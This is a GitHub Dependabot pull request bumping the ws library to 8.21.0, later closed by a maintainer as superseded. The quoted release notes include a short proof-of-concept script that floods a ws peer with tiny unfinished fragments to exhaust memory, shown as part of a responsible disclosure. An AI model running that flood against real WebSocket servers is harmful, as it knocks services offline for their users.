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Bump ws from 8.19.0 to 8.21.0 - #22

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Bump ws from 8.19.0 to 8.21.0#22
dependabot[bot] wants to merge 2 commits into
mainfrom
dependabot/npm_and_yarn/ws-8.21.0

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@dependabot

@dependabot dependabot Bot commented on behalf of github May 29, 2026

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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 29, 2026
AsijitM
AsijitM previously approved these changes Jul 21, 2026
@vaikesh07

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Superseded — closing without merging.

main already resolves ws@8.21.1 (≥ the fixed 8.21.0, GHSA-96hv-2xvq-fx4p), pulled in transitively via #27 (AAP-19946 piscina bump, commit 8540fe7). This PR targets 8.21.0, so merging it would downgrade ws 8.21.1 → 8.21.0 — hence the conflict. The CVE is already patched on main; no action needed here.

cc @AsijitM (thanks for the review).

@vaikesh07

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@dependabot close

@dependabot @github

dependabot Bot commented on behalf of github Jul 28, 2026

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OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

@dependabot
dependabot Bot deleted the dependabot/npm_and_yarn/ws-8.21.0 branch July 28, 2026 11:49
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3 participants